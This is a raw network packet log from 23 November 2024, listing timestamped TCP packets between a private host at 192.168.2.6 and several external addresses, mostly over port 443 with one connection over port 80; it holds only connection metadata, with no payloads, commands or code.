Nov 23, 2024 02:55:03.329818964 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:03.345994949 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:03.346035957 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:03.346301079 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:03.346632957 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:03.346707106 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:03.346750975 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.029391050 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.029414892 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.029463053 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.029496908 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:04.029510975 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.029534101 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:04.030298948 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:04.030328035 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:04.030453920 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.030478954 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:04.030533075 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:04.082690001 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:04.082710981 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:04.410792112 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.410864115 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:04.410880089 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.445378065 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.445399046 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.446615934 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.446695089 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.447277069 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.447359085 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.524528980 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.524727106 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.526976109 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.526985884 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.527128935 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.527146101 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.527232885 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.527332067 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.871531963 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.871581078 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.871736050 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.871752977 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.871803045 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:04.871814966 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.872431993 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.873119116 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:04.873136044 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:05.142815113 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:05.142832041 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:05.142880917 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:05.142910004 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:05.142915964 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:05.142981052 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:05.143337011 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:05.143362045 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:08.267754078 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:08.267796040 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:08.267853022 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:08.268615007 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:08.268627882 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:09.614154100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:09.733879089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:09.733959913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:09.734546900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:09.853962898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:10.546797991 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:10.546927929 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:10.628317118 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:10.628335953 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:10.629267931 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:10.676843882 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:10.710422039 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:10.710422039 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:10.710442066 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:10.710673094 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:10.751357079 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:11.111502886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:11.111563921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:11.132482052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:11.251969099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:11.382006884 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:11.382251978 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:11.382476091 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:11.383234024 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:11.383255005 CET	443	49713	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:11.383268118 CET	49713	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:11.432488918 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:11.432517052 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:11.432697058 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:11.432982922 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:11.432997942 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:11.593650103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:11.593708038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:11.594847918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:11.714401960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.043045998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.043091059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.043118954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.043159008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.244000912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.244055986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.245915890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.366483927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.539055109 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:12.539148092 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:12.539227962 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:12.539784908 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:12.539833069 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:12.695066929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.695235014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.695250988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.695261955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.695276022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.695293903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.695319891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.695319891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.695522070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.896120071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:12.896301031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:12.900428057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:13.020611048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.079761028 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.079798937 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:13.080122948 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.080132961 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.080133915 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:13.080180883 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:13.080213070 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.080213070 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.080296040 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.084594965 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.084613085 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:13.084980965 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.084990025 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:13.084995031 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:13.085002899 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:13.240313053 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.240442991 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.243987083 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.243997097 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.244401932 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.252403975 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.299330950 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.349107981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.349797010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:13.524151087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:13.524151087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:13.643748999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.643779039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.643793106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.643857956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.643945932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.643959045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.643982887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.644020081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:13.692085028 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:13.692085981 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:13.724607944 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.724658966 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.724710941 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.724715948 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.724740982 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.724766970 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.724796057 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.927206039 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.927262068 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.927288055 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.927304983 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.927330971 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.927376032 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.971502066 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.971525908 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.971590996 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.971601009 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:13.971637011 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:13.971657991 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.020210028 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:14.104070902 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.104125023 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.104182959 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.104192972 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.104242086 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.141602039 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.141652107 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.141671896 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.141681910 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.141711950 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.141727924 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.161473036 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.161494017 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.161570072 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.161577940 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.161633968 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.181607008 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.181626081 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.181675911 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.181683064 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.181718111 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.181736946 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.301529884 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.301582098 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.301616907 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.301626921 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.301681995 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.318269014 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.318316936 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.318351030 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.318361044 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.318403959 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.332254887 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.332309008 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.332345009 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.332359076 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.332376003 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.332412004 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.348506927 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.348548889 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.348578930 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.348587036 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.348639011 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.363711119 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.363759995 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.363785982 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.363795042 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.363831997 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.363846064 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.379808903 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.379829884 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.379888058 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.379894972 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.379935026 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.384618044 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.384682894 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.384689093 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.384702921 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.384757996 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.384815931 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.384830952 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.384844065 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.384852886 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.463406086 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.463465929 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.463535070 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.465511084 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.465549946 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.465611935 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.465816975 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.465836048 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.466248035 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.466257095 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.466312885 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.466531038 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.466540098 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.466635942 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.466658115 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.467355967 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.467366934 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.467431068 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.467547894 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.467545986 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.467562914 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.467628956 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.467711926 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.467773914 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:14.467799902 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:14.613883972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:14.614049911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:14.867599010 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:14.867671967 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:14.869504929 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:14.869515896 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:14.869764090 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:14.871052027 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:14.871157885 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:14.871164083 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:14.871278048 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:14.915327072 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:14.919632912 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.919707060 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.922662973 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.922729015 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.932353020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:14.938138962 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.938158989 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.938515902 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.938569069 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.941426992 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.941445112 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.942151070 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.942202091 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.945739031 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.945799112 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.946141005 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.946218967 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.962044954 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.962129116 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.966234922 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.966245890 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.966440916 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:14.966448069 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.966504097 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:14.966542959 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.051856041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.378082037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.378164053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.378218889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.382167101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.382211924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.382263899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.382303953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.390584946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.390640974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.390727043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.390819073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.396840096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.396899939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.396941900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.396984100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.405213118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.405262947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.405370951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.405426025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.413579941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.413640976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.413666010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.413819075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.430258036 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:15.430725098 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:15.430783033 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:15.430838108 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:15.430838108 CET	49716	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:15.430861950 CET	443	49716	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:15.492839098 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.492858887 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.492902994 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.492923021 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.492937088 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.492938042 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.492971897 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.493000984 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.495609999 CET	49719	443	192.168.2.6	20.199.58.43
